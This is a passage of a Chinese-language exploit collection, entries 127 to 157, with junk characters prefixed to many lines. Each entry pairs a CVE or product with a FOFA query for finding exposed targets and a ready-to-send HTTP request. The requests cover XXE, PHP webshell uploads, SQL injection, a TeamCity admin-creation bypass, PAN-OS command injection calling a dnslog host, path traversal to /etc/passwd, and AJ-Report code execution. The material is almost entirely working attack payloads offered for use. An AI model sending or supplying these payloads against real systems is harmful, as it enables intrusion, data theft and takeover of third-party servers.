; R7 ~. B  w# c) XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
' z1 D/ q: y8 Y' \5 mAccept-Language: en
Accept-Encoding: gzip

6 V7 V  ?/ J9 v' x9 _
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
0 v9 s: H* A1 W4 \+ gHost: 192.168.40.130:8888
, @, {& `/ W- o4 j" oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
( }, _! g  K1 S) kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
! a) ?) _4 r$ `, h8 O0 rSec-Purpose: prefetch;prerender

2 m+ k. u2 O( Z: }------WebKitFormBoundaryJGgV5l5ta05yAIe0
; U. {/ F$ P- GContent-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
- b( t" O/ V* ?; X0 rContent-Disposition: form-data;name="Params"
Content-Type: text/plain
% o" K9 o8 }6 }- f8 y
<?xml version="1.0" encoding="UTF-8"?>
0 S+ E; B3 D: \/ j6 v& M3 h) h<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
& O* ^7 ?9 i, _' \]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

% v# V7 Z; c1 Z+ j
4 p8 Q8 K7 g" t. v5 ]
128. Adobe ColdFusion 反序列化
CVE-2023-38203
5 f$ N  ^: m" _Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
# i& G) H9 }2 L9 z9 GFOFA：app="Adobe-ColdFusion"
/ a$ [1 Y9 q. I- |% KPAYLOAD

, i6 H3 E. v) P0 J- `) p3 q129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
% g3 B- g8 l( W; ?FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
) G, H6 W. h/ y$ E6 X; |GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
" {. K# u% h2 a' C+ {5 y$ ^8 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
" v! p# r( H$ G3 vConnection: close

0 ]6 q& Q' }" l' Z/ p$ _) u
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
6 a& [# V6 F% r8 [7 VAccept: */*
0 \2 E; m( s( e4 A. ~Accept-Encoding: gzip, deflate
Connection: close
% _0 l2 O3 u: g4 Tuuid: 85f60018-a654-4410-a783-f81cbd5000b9
, |: D" N: j5 W3 P6 m& A# O; r
3 w+ c( O- E7 `, F
& M7 ]2 c7 ^5 P+ B130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
7 ]' B, f, f" j9 j# I2 E* S' WPOST /admin/users/upavatar.html HTTP/1.1
" F5 t' w9 @9 B) y0 I  k" DHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
/ X1 S% G, s: t1 t, OX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( w# J7 k( X+ [* N, ~" _- _Cookie: user_name=1; user_id=3
+ s7 V+ G( `; p% yConnection: close
1 Z; z% J! g" E  r7 s
------WebKitFormBoundary3OCVBiwBVsNuB2kR
3 O* ]9 t3 A  R- L7 |Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
+ J6 V" u# W3 O' F0 f8 v
2 g. ~& y' z8 P- J0 S' K<?php phpinfo();@eval($_POST['sec']);?>
7 P1 O5 P. |" I8 V0 D& D9 v5 |------WebKitFormBoundary3OCVBiwBVsNuB2kR--


  {* e% H4 u( r, F/ v2 u131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
2 V$ A! }7 {' Shttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

. V, m2 e8 v( N. m6 y, H' S# ~+ ?; W, h132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
  s" ~! {/ J: YPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
8 g% k6 K5 p) jHost: 192.168.40.130:8111
" M" B2 [. i2 d' _0 r" sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
* l# r* A! M' X0 ~3 h% B" RContent-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

! V4 s$ ~0 |2 J0 E+ F+ d$ @
6 H& N- V+ X. w% FCVE-2024-27199
/res/../admin/diagnostic.jsp
0 f5 |+ r2 o2 w. E  N8 j/.well-known/acme-challenge/../../admin/diagnostic.jsp
1 j+ m6 g; o2 ?8 |) }/update/../admin/diagnostic.jsp
9 v4 k- `0 r4 b- F

: O5 k+ n9 v8 \CVE-2024-27198-RCE.py
$ k& T) `0 a  V( z  o  D' e$ [
7 @! Q6 |9 j& _8 k" u, ?* a5 e) ?133. H5 云商城 file.php 文件上传
( @5 o0 c; r: nFOFA：body="/public/qbsp.php"
4 D, a' i  W. L5 F1 ^* l1 {POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
9 n0 C* Q9 c3 mHost: your-ip
4 W; y: }7 x( c6 U, xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
0 W! }$ |" P4 gContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
, h7 @/ C8 y9 h( `
& K" x) o$ L' y) Q$ T" w------WebKitFormBoundaryFQqYtrIWb8iBxUCx
, p4 D7 `  y) w7 U7 cContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
. [$ o# k* s! h3 K" {/ K8 a( |

# s5 M- @4 ]. _& e% Q
134. 网康NS-ASG应用安全网关index.php sql注入
$ q' L9 ~; G, P% TCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
9 z1 @' r2 l+ F3 J) ]! a) u, G/ `5 }POST /protocol/index.php HTTP/1.1
  n; B6 \/ D2 V$ ^$ Z- s, `0 c9 IHost: x.x.x.x
) K4 Y" m5 C$ S& j7 E3 Z7 HCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
; o4 ~- N4 z: s/ d4 f; }4 W) gAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 y/ h. Y3 K4 r. ~! BAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
5 h# K: }- m9 V; u/ XSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
  ]( k$ W0 r$ N, {4 k0 NTe: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
  S% S9 c# a* b1 e. G& q( A; KContent-Length: 263
, L0 H3 f$ m  Z4 `) m- a/ S$ [
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


  D2 l2 D% V0 J+ Q# `135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
3 r# v  p0 A5 P1 e3 XCVE-2024-2022
6 q: m4 x7 {, P- z6 Q- c+ Z2 rNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
  d6 O$ e* }: E/ U$ m; u. aHost: x.x.x.x
4 b' O7 X$ k9 E3 R' X$ t8 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. |1 e  h. H) G, K1 O4 S/ |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# K) s; ~; {8 N' s: z( s7 @1 cAccept-Encoding: gzip, deflate
5 b" D' T1 J! s. L: ~Accept-Language: zh-CN,zh;q=0.9
1 p3 s1 Z1 b/ K2 s$ EConnection: close
! M6 D- h( K5 S* R. [

136. NextChat cors SSRF
6 e7 O# h7 E( F( k. z5 M5 g' JCVE-2023-49785
FOFA：title="NextChat"
2 u* g9 k( u- @! J+ \; K) [GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
% p: H& R* L# M+ f  r2 S9 [Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
" |1 k1 I: F2 @: D2 p- zAccept-Language: en
Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
0 L/ f+ {8 M) c, z; c( F9 YFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
6 i" I$ I8 P8 w  Y4 {  UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
2 p" |( g1 D! h' F# @$ L  |0 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 U2 x- [3 i$ {6 O5 x: OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
+ h; e) B! b0 ]9 x  G& uCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
3 K* I! _% B9 b  N# ]; ~Upgrade-Insecure-Requests: 1
, w, n1 o4 ~, I' H. T1 a

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
' j6 j8 C( Q) c) u7 d, I( F3 n" SCVE-2024-2621
8 Z8 i/ f0 J' l6 lFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
, R+ r1 `9 s4 D. C2 X3 x4 HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* l1 E! ]0 H* E6 i) _9 v7 ^9 A8 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 }: c, `' Q% m( A. rAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
& ?2 t) E* L) ?; ^4 N7 S, TUpgrade-Insecure-Requests: 1
0 g' M  H0 T/ @; w) V
7 v+ i& A% _7 c% \; \
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
) S& E# \3 v0 _, jGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
; G9 Z  f2 X. ~0 Q" a# EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" T8 K* [. @) t6 A- N7 yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
! g, `2 G, U$ _8 ]Connection: close
Cookie: authcode=h8g9
" B7 N( L; K2 L! K7 oUpgrade-Insecure-Requests: 1


7 `9 r& @+ H9 g6 B9 A6 _141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
/ F# g5 u8 J3 C1 a& U8 {4 eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
$ ^% G" h% {1 H( d/ K

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

/ w4 P+ g7 H; D) e( ^
142. CMSV6车辆监控平台系统中存在弱密码
: {/ x  T+ |+ dCVE-2024-29666
FOFA：body="/808gps/"
+ U' ]' ?# r" l1 sadmin/admin
0 z; l! P5 V8 O) |& _( P, T' H. O. n143. Netis WF2780 v2.1.40144 远程命令执行
0 t6 m6 M  R( l' b# TCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
; X0 q3 t8 f- s8 ?/ F/ i8 T
144. D-Link nas_sharing.cgi 命令注入
: d4 P  u8 z5 x( Q- d4 ^FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
% ^- p  E9 {, [  ~* jGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
" w, A! d/ `! M+ _/ y) n& m! X  l( L2 qUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
# ?9 b( L& `" ~5 cConnection: close
Accept: */*
9 }# Q$ M) I8 D3 d  JAccept-Language: en
Accept-Encoding: gzip
+ \; ^9 U- M# p5 O5 \
% u$ P; S/ n- y2 D
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
" }5 o$ m" ^7 Q2 J0 ^CVE-2024-3400
, o4 E9 R0 p, OFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
" H7 K. H! C- C7 NConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
- Z7 y& H. x' MAccept-Encoding: gzip


# {3 L; [7 H8 ^$ @146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
8 t3 i% p+ t) n) x- SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
0 ^" A) x6 W) b" KAccept-Charset: utf-8
, ^/ X, ^8 t+ E: t6 T' eAccept-Encoding: gzip, deflate
2 \5 \4 X% d- x0 p  EConnection: close
2 ?5 ^7 U  G' N4 O
; H# f# M, E6 o/ [7 j
4 ?" y; a2 ]" `; _" x/ U8 N0 k- l147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
' P4 g  |( Q1 i3 l8 o5 EHost: 127.0.0.1:81
5 p: M1 ?2 D! z; @8 l, E0 oCache-Control: max-age=0
Connection: close


0 |! n8 r, y# d$ ~5 N- f148. CrushFTP 认证绕过模板注入
; V6 _% w( |* fCVE-2024-4040
4 ~& U& ^/ M- |2 z3 ^* CFOFA：body="CrushFTP"
  z- ]4 U# f( a( u9 }) K9 \PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

( p/ g2 u' O4 m- W6 dPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
5 R5 K% k4 Z6 m9 l3 l2 A2 s% qHost: x.x.x.x
5 b- V5 ~) H8 @7 K, }& N. MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
; x' Y; e* R# X3 B* r  eAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
! _% N$ ?2 {1 v6 j' D- ~7 |5 [Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
$ ~) c3 V" ]$ a$ \0 c# Y5 m  `. uFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
7 p$ E: S4 p. B! K+ O2 G# }Host: x.x.x.x
3 n! k6 [% t9 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
) t$ Y( @! p/ }3 H4 V  ?Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

! y7 [! X; F  K0 N{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
% M" p2 f% \' |0 h& z( o2 hFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
. J3 L% O' m  f( }1 @* jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 v/ r) k4 s; e* L2 KConnection: close
Accept-Encoding: gzip
( t6 l: D1 B  l
" f; z% L( E) k& d
152. Progress Kemp LoadMaster 远程命令执行
8 p: y, q2 a# q: A* ^CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
& n9 D0 w! M' r+ c% d4 L! jLoadMaster<=7.2.54.8 (LTSF)
" @. j7 g" @, t5 s+ f! ZLoadMaster <= 7.2.48.10 (LTS)
& K& H5 k5 r# I! W$ zFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
6 W/ |5 T5 t6 h$ k, ?GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
& m" [) H  j) b- t, _6 A7 {Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

. Z2 i- x+ y7 }% ?0 ?6 q; n
153. gradio任意文件读取
! E7 k% I7 j1 f# P8 Q" YCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
, W* l7 c8 v/ v: ahttp://x.x.x.x/config
  ?6 s2 p) X! j
9 O# ~- q! k. f. c5 ?
+ T. R+ Q1 q  ^第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
3 c. _1 u* ~$ y( f% x/ k( JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

/ y8 ^9 A* t4 e$ ~4 ~{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


/ R) D  v- N5 W; T5 d第三步访问
# R" r7 P0 U, C; e6 [- Q8 C, ?http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


154. 天维尔消防救援作战调度平台 SQL注入
  O* `$ c' f( i5 y( n: c  a3 w4 ]+ T; lCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
: E& }3 B1 s& e5 I- F$ g7 H7 zPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
' ?2 s- I* q. sContent-Length: 106
Cache-Control: max-age=0
; d; z) H7 f  u7 B  o" A5 K/ X6 FUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
9 x5 o9 ?0 p; W- `$ L  q5 GContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
7 X% ~3 Y; c6 D" j- y+ rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
3 p; Y" s. v8 j+ w" kAccept-Encoding: gzip, deflate
3 @- m5 l4 `; r6 LAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
3 g. e1 Q" Z: t, e6 CConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


3 F8 @* A& F: F155. 六零导航页 file.php 任意文件上传
7 m. f0 m5 a) F1 g: O4 N6 }) _( iCVE-2024-34982
$ F  P" s) L' {FOFA：title=="上网导航 - LyLme Spage"
0 K% w3 R. _! N% w; XPOST /include/file.php HTTP/1.1
+ P. @5 e( S1 \+ V6 N6 T2 \( gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
2 S; b5 W. a7 P% J3 @( {* F( KContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
6 o* }) V5 ]0 X) ~Accept-Encoding: gzip, deflate, br
0 C) h3 L; Q% }, @+ E6 k; DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 \# F0 _. V) I# U' q9 J6 c' o$ D7 XContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
* }7 h9 E' h- d/ J* ?
! K0 w9 K, Q  x8 }-----------------------------qttl7vemrsold314zg0f
( z0 S2 c1 l9 A0 G1 @Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
% k* I9 S$ i( B# p" i' U-----------------------------qttl7vemrsold314zg0f--

  X( A) J" B6 ?/ ]. W% T1 N8 k* e
2 h- m* d; u. p3 W访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
, g4 F" G- }, P" A3 E, `2 F) M. SCVE-2024-3721
, F9 ^0 o2 \1 ~: D" oFOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
6 Q" E4 e  ?; R

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
3 f) O4 @* [: n7 YHost: x.x.x.x
1 \# U) b$ o4 f* w# H" I/ tUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
. j7 F2 J# A  R! w7 Z. xCookie: uid=1
3 v0 s" n# G$ l& ~8 NAccept-Encoding: gzip

- [. m  E4 e" H9 g( Y
' Q+ F: X' N" D5 \2 P157. 美特CRM upload.jsp 任意文件上传
' L' ^3 o$ [* B2 N8 }3 ]CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
& `7 ?# F. n6 {/ \" q& k2 Q1 h0 EPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
8 d1 M( D& _+ h* @' q4 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
& ]: ~( }3 F/ V( c2 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 W, j! S3 R! q' W, mAccept-Encoding: gzip, deflate
3 d3 R" Y. z  cAccept-Language: zh-CN,zh;q=0.9
+ W1 Y, C+ H# A- g( CCache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
. ?9 P2 ?) u- N* A" x/ n
! ^0 l- o9 m8 R: ^# u( y------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
6 S* M# x  z; g7 [; U% K$ }5 zContent-Type: application/octet-stream

) A3 x3 l9 B1 T! N( N% gnyhelxrutzwhrsvsrafb
! @2 v3 h7 m7 r------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
' e% q2 L2 a3 j, P1 yContent-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
